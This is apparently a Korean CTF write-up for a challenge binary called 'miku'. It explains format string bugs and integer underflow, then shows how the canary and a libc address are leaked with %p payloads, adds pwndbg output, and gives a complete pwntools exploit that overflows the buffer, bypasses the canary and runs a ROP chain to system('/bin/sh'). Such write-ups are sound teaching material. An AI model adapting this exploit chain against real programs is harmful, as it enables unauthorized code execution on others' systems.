Format String(포맷 스트링)은 데이터를 어떤 형식으로 출력하거나 입력할지 지정하는 문자열이다.
대표적으로
%d // 정수
%x // 16진수
%p // 포인터
%s // 문자열
%c // 문자
%n // 출력한 글자 수를 메모리에 저장
등이 있다.
이러한 Format String은 C언어의
printf()
fprintf()
sprintf()
snprintf()
scanf()
fscanf()
sscanf()
처럼 이름 끝에 f(formatted)가 붙는 함수들에서 사용된다.
예를 들어
printf("%d", num);
printf("%s", str);
printf("%p", ptr);
처럼 같은 함수라도 Format String에 따라 출력 형식이 달라진다.
즉 Format String은 함수에게 데이터를 어떤 형태로 처리할지 알려주는 역할을 한다.
포맷 스트링 버그는 사용자의 입력이 그대로 Format String으로 사용될 때 발생하는 취약점이다.
정상적인 코드는
printf("%s", buf);
처럼 작성해야 하지만,
printf(buf);
처럼 작성하면 buf의 내용을 문자열이 아닌 포맷 문자열로 해석하게 된다.
예를 들어 사용자가
%x %x %x %x
를 입력하면 printf는 %x를 보고 스택의 값을 하나씩 출력하기 시작한다.
즉 원래 출력해서는 안 되는 메모리의 내용을 읽을 수 있게 되는 것이다.
%n은 지금까지 출력한 글자 수를 메모리에 저장하는 포맷 문자열인데, 이를 이용하면 원하는 주소에 값을 쓸 수도 있다.
그래서 포맷 스트링 버그는 단순히 정보를 유출하는 것뿐만 아니라 메모리까지 조작할 수 있다고 한다.
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> 1
What's your fan name? > %p
Miku: Nice to meet you~ ♪
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> 2
Miku: Welcome back, 0x7ffee9dae440! ♪
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku>
1 이름 입력에 %p를 넣어봤더니 이상한 주소가 하나 출력된다
계속 움직여보자
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> $ 1
What's your fan name? > $ %7$p
Miku: Nice to meet you~ ♪
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> $ 2
Miku: Welcome back, 0x6ed501bf1312ca00! ♪
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
오
0x6ed501bf1312ca00
널바이트가 수상하다
gdb로 붙여보자
pwndbg> canary
AT_RANDOM = 0x7ffe71169b49 # points to global canary seed value
TLS Canary = 0x72f8e9ffb768 # address where canary is stored
Canary = 0x6ed501bf1312ca00 (may be incorrect on != glibc)
Thread 1: Found valid canaries.
00:0000│-858 0x7ffe71168628 ◂— 0x6ed501bf1312ca00
Additional results hidden. Use --all to see them.
카나리 발견
비슷한 방식으로 계속하면
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> $ 1
What's your fan name? > $ %13$p
Miku: Nice to meet you~ ♪
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> $ 2
Miku: Welcome back, 0x7e526142a601! ♪
========================================
1. Introduce yourself to Miku
2. Say hi to Miku
3. Hand Miku a present
4. Ask Miku for her secret
5. Leave the concert
========================================
miku> $
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x563eaa2cf000 0x563eaa2d0000 r--p 1000 0 miku
0x563eaa2d0000 0x563eaa2d1000 r-xp 1000 1000 miku
0x563eaa2d1000 0x563eaa2d3000 r--p 2000 2000 miku
0x563eaa2d3000 0x563eaa2d4000 r--p 1000 3000 miku
0x563eaa2d4000 0x563eaa2d5000 rw-p 1000 4000 miku
0x7e5261400000 0x7e5261428000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7e5261428000 0x7e52615c0000 r-xp 198000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7e52615c0000 0x7e526160e000 r--p 4e000 1c0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7e526160e000 0x7e5261612000 r--p 4000 20d000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7e5261612000 0x7e5261614000 rw-p 2000 211000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7e5261614000 0x7e5261621000 rw-p d000 0 [anon_7e5261614]
0x7e52616e2000 0x7e52616e5000 rw-p 3000 0 [anon_7e52616e2]
0x7e52616eb000 0x7e52616ed000 rw-p 2000 0 [anon_7e52616eb]
0x7e52616ed000 0x7e52616ee000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7e52616ee000 0x7e526171d000 r-xp 2f000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7e526171d000 0x7e5261728000 r--p b000 30000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7e5261728000 0x7e526172a000 r--p 2000 3b000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7e526172a000 0x7e526172b000 rw-p 1000 3d000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7e526172b000 0x7e526172c000 rw-p 1000 0 [anon_7e526172b]
0x7ffd9e274000 0x7ffd9e296000 rw-p 22000 0 [stack]
0x7ffd9e3d8000 0x7ffd9e3dc000 r--p 4000 0 [vvar]
0x7ffd9e3dc000 0x7ffd9e3de000 r-xp 2000 0 [vdso]
pwndbg>
libc 어딘가로 추정되는 곳을 찾을 수 있다
그후 gdb로 알게된 libcbase를 그 어딘가 libc에서 빼주면 그 차이를 알아 libc base를 알 수 있게된다
libc+a - libc_base(gdb) = a
libc+a - a = libc_base
libc와 canary를 찾았으니 이제 ROP체인을 터트려줄 가젯만 가져와서 bof잘 터트리고 카나리우회하고 ROP체인을 박아주면
from pwn import *
p = process('./miku')
libc = ELF('./libc.so.6')
# 포멧 스트링으로 canary와 libc +a leak
p.sendlineafter(b'miku> ', b'1')
p.sendlineafter(b'What\'s your fan name? > ', b'%7$p.%13$p.')
p.sendlineafter(b'miku> ', b'2')
#받기
p.recvuntil(b'Miku: Welcome back, ')
canary = int(p.recvuntil(b'.', drop=True), 16)
print(f'canary = {hex(canary)}')
libc_leak = int(p.recvuntil(b'.', drop=True), 16)
print(f'libc leak = {hex(libc_leak)}')
libc_base = libc_leak - 0x2a1ca
print(f'libc base = {hex(libc_base)}')
# rop가젯준비
r = ROP(libc)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
ret = libc_base + r.find_gadget(['ret'])[0]
pop_rdi = libc_base + r.find_gadget(['pop rdi', 'ret'])[0]
# 언더플로우 발생으로 원하는 만큼 입력하게 바꿈
p.sendlineafter(b'miku> ', b'3')
p.sendlineafter(b'How big is your present (chars)? > ', b'-1')
# payload작성
payload = b'A' * 0x48
payload += p64(canary)
payload += b'B' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendafter(b'Okay, wrap it up > ', payload)
p.interactive()


Integer Underflow는 정수 연산 결과가 자료형의 최소 범위를 벗어나는 현상이다.
unsigned 자료형은 음수를 표현할 수 없기 때문에 Underflow 발생 시 큰 양수로 변환된다.
예를 들어
unsigned int num = 0;
num--;
수학적으로는 -1이지만, 실제로는
0xffffffff
로 저장되어 32비트 기준
4294967295
가 된다.
즉,
음수
↓
unsigned 변환
↓
최대값으로 순환